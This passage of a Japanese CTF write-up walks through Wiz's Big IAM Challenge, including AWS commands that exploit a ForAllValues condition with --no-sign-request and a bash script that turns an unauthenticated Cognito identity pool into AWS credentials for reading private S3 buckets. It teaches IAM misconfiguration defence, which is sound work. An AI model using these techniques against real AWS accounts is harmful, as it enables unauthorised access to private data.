  "SigningCertURL": "redacted",
  "UnsubscribeURL": "redacted"
}

このような回避を防ぐには、AWS公式ドキュメントのサンプルにあるように、以下のようなプロトコル指定を入れるべきでしょう。

      "StringEquals": {
        "sns:Protocol": "email"
      }

https://docs.aws.amazon.com/ja_jp/sns/latest/dg/sns-using-identity-based-policies.html

また、一般に * を使う場合にはいろいろな回避方法がありがちな気がします。

Challenge 4: Admin only ?

対象のバケットでs3:GetObjectはできるものの、s3:ListBucketは ForAllValues:StringLike で user/admin だけのアクセスを許可する、といった設定になっているようです。これをどのように回避できるでしょうか。

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*"
        },
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:ListBucket",
            "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321",
            "Condition": {
                "StringLike": {
                    "s3:prefix": "files/*"
                },
                "ForAllValues:StringLike": {
                    "aws:PrincipalArn": "arn:aws:iam::133713371337:user/admin"
                }
            }
        }
    ]
}

ForAllValuesの仕様を公式ドキュメントで確認すると、次のような記載があります。

ForAllValues この限定子は、リクエストセットのすべてのメンバーの値が条件コンテキストキーセットのサブセットであるかどうかをテストします。リクエストのすべてのコンテキストキーバリューが、ポリシーの 1 つ以上のコンテキストキーの値と一致する場合、条件は true を返します。また、リクエストにコンテキストキーがない場合、またはキーバリューが空の文字列などの null データセットに解決される場合は true を返します。

リクエストコンテキストで、コンテキストキーが欠落していたり、値が空であるコンテキストキーが予期せず存在したりすると、許容範囲が広すぎる場合があるため、ForAllValues を Allow 効果で使用する場合は注意してください。

docs.aws.amazon.com

aws:PrincipalArnを空にしてリクエストを送ると、なんとこの判定をtrueにできるようです。

awsコマンドでは —no-sign-request オプションを指定することで aws:PrincipalArn 等が無いリクエストを送ることができます。

> aws s3 ls s3://thebigiamchallenge-admin-storage-abf1321/files/ --no-sign-request
2023-06-07 19:15:43         42 flag-as-admin.txt
2023-06-08 19:20:01      81889 logo-admin.png

そのままcpします。(IAM Policyに明示的に許可設定があったので、まずは —no-sign-request を外しています)

> aws s3 cp s3://thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt -
{wiz:flag-is-redacted-do-it-by-yourself}

さらにバケットポリシーが確認できないので原因が定かでないですが、怖いことにGetObjectも--no-sign-requestをつけた状態でもリクエストが通ります…

> aws s3 cp s3://thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt - --no-sign-request
{wiz:flag-is-redacted-do-it-by-yourself}

このForAllValuesの間違いは実世界でも発生しそうなので、ご自身の環境でもForAllValuesをgrepして確認してみるとよいでしょう。

参考事例として、以下のブログではAssumeRoleができるPrincipalをタグで制御する際にForAllValuesを利用しており、「タグがない」PrincipalもAssumeRoleが許可されてしまっていた、という事例が紹介されており参考になります。

tech.layerx.co.jp

Challenge 5: Do I know you?

また、いきなり現れたAWS Cognitoのロゴ画像がIAM Policyに記載されたwiz-privatefilesのバケットから配信されていることがわかります。

`https://wiz-privatefiles.s3.amazonaws.com/cognito1.png?AWSAccessKeyId=...とおそらくCognitoから払い出されたクレデンシャル付きでアクセスしており、[https://wiz-privatefiles.s3.amazonaws.com/cognito1.png`](https://wiz-privatefiles.s3.amazonaws.com/cognito1.png) のみではAccess Deniedとなります。

Cognitoをつかった配信がこのサイト上でおこなわれているということは、ソースコードのどこかにCognitoの設定がありそうなので、探してみるとやはりあります。

<img style="width: 16rem" id="signedImg" class="mx-auto mt-4" src="#" alt="Signed img from S3" />
<script src="https://sdk.amazonaws.com/js/aws-sdk-2.719.0.min.js"></script>
<script>
  AWS.config.region = 'us-east-1';
  AWS.config.credentials = new AWS.CognitoIdentityCredentials({IdentityPoolId: "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"});
  // Set the region
  AWS.config.update({region: 'us-east-1'});

  $(document).ready(function() {
    var s3 = new AWS.S3();
    params = {
      Bucket: 'wiz-privatefiles',
      Key: 'cognito1.png',
      Expires: 60 * 60
    }

    signedUrl = s3.getSignedUrl('getObject', params, function (err, url) {
      $('#signedImg').attr('src', url);
    });
});
</script>

コンソールのRoleではこのバケットにアクセスできないようなので、IAM PolicyはCognitoから渡された権限に付いているものではないかと推測します。

> aws sts get-caller-identity
{
    "UserId": "AROAZSFITKRSYE6ELQP2Q:iam_shell",
    "Account": "657483584613",
    "Arn": "arn:aws:sts::657483584613:assumed-role/shell_basic_iam/iam_shell"
}

> aws s3 ls s3://wiz-privatefiles/
An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied

DevToolsのConsoleでAWS.config.credentialsを実行すると、accessKeyId, secretAccessKey, sessionTokenが取得できます。

試しに先ほどのcognito1.pngについていたパラメーターを取り出して、コマンドが実行できます。

export AWS_REGION=us-east-1
export AWS_ACCESS_KEY_ID="redacted"
export AWS_SECRET_ACCESS_KEY="redacted"
export AWS_SESSION_TOKEN="redacted"

❯ aws s3 ls s3://wiz-privatefiles/
2023-06-06 04:42:27       4220 cognito1.png
2023-06-05 22:28:35         37 flag1.txt
❯ aws s3 cp s3://wiz-privatefiles/flag1.txt -
{wiz:flag-is-redacted-do-it-by-yourself}

クライアントサイドに渡す権限は、どう使われるかはコントロールできないため、権限を確実に絞るべきですね。(privateなbucketへのアクセス権を広く持つのは危険)

Challenge 6: One final push

identity pool idはiam policyにて、role arnは問題文で与えられています。

手順に沿って単純にcognitoの認証を通します。

  • aws cognito-identity get-id (ユーザー識別)
    • 本来であればここでログイン処理が行われるが、「認証されていないIDに対してアクセスを有効にする」設定が有効になっているため、—identity-poo-id のみでアクセスできる
  • aws cognito-identity get-open-id-token (OIDCトークンの取得)
    • get-idでとったidentity idを渡す
  • aws sts assume-role-with-web-identity (IAMロールを引き受ける)
    • odic tokenとaws credentialを交換

全体としては以下のようなスクリプトになります。(Powered by ChatGPT)

#!/bin/bash

# パラメータ設定
IDENTITY_POOL_ID="us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"
ROLE_ARN="arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role"
ROLE_SESSION_NAME="hogehoge"
REGION="us-east-1"

echo "=== Step 1: Get Identity ID ==="
IDENTITY_ID=$(aws cognito-identity get-id \
  --identity-pool-id "$IDENTITY_POOL_ID" \
  --region "$REGION" | jq -r .IdentityId)

if [ -z "$IDENTITY_ID" ]; then
  echo "Failed to get Identity ID"
  exit 1
fi
echo "Identity ID: $IDENTITY_ID"

echo "=== Step 2: Get OpenID Token ==="
OPEN_ID_TOKEN=$(aws cognito-identity get-open-id-token \
  --identity-id "$IDENTITY_ID" \
  --region "$REGION" | jq -r .Token)

if [ -z "$OPEN_ID_TOKEN" ]; then
  echo "Failed to get OpenID Token"
  exit 1
fi
echo "OpenID Token: $OPEN_ID_TOKEN"

echo "=== Step 3: Assume Role with Web Identity ==="
ASSUMED_ROLE=$(aws sts assume-role-with-web-identity \
  --role-arn "$ROLE_ARN" \
  --role-session-name "$ROLE_SESSION_NAME" \
  --web-identity-token "$OPEN_ID_TOKEN" \
  --region "$REGION")

if [ -z "$ASSUMED_ROLE" ]; then
  echo "Failed to assume role"
  exit 1
fi
echo "Assumed Role JSON: $ASSUMED_ROLE"

echo "=== Step 4: Extracting Temporary Credentials ==="
ACCESS_KEY=$(echo "$ASSUMED_ROLE" | jq -r .Credentials.AccessKeyId)
SECRET_KEY=$(echo "$ASSUMED_ROLE" | jq -r .Credentials.SecretAccessKey)
SESSION_TOKEN=$(echo "$ASSUMED_ROLE" | jq -r .Credentials.SessionToken)

echo "export AWS_ACCESS_KEY_ID=$ACCESS_KEY"
echo "export AWS_SECRET_ACCESS_KEY=$SECRET_KEY"
echo "export AWS_SESSION_TOKEN=$SESSION_TOKEN"

echo "All steps completed successfully."

このクレデンシャルを使って、これまでのようにs3 lsをできます。

❯ aws s3 ls
2024-06-06 15:21:35 challenge-website-storage-1fa5073
2024-06-06 17:25:59 payments-system-cd6e4ba
2023-06-05 02:07:29 tbic-wiz-analytics-bucket-b44867f
2023-06-05 22:07:44 thebigiamchallenge-admin-storage-abf1321
2023-06-05 01:31:02 thebigiamchallenge-storage-9979f4b
2023-06-05 22:28:31 wiz-privatefiles
2023-06-05 22:28:31 wiz-privatefiles-x1000

❯ aws s3 ls s3://wiz-privatefiles-x1000
2023-06-06 04:42:27       4220 cognito2.png
2023-06-05 22:28:35         40 flag2.txt
❯ aws s3 cp s3://wiz-privatefiles-x1000/flag2.txt -
{wiz:flag-is-redacted-do-it-by-yourself}

Cognito認証済みユーザーのみアクセスできるリソースだったとしても、単にログインさえすればアクセスできてしまうのは実質的に全公開されているのと変わらない、ということを言いたい問題でしょうか。

Challenge 5, 6 はCognitoで発生し得る問題のさわり、という感じでしたが、より深く勉強したい場合はFlatt Securityさんのこちらの記事もおすすめです！

blog.flatt.tech

Appendix

The Big IAM Challengeが面白いと思った方は、以下も気に入るかもしれません。

(ちなみにflaws.cloudの作者のScott PiperさんもWizで働いているようです)

Wizはその他の分野のCTFも公開しており、興味がある方はこちらも触ってみると面白そうです。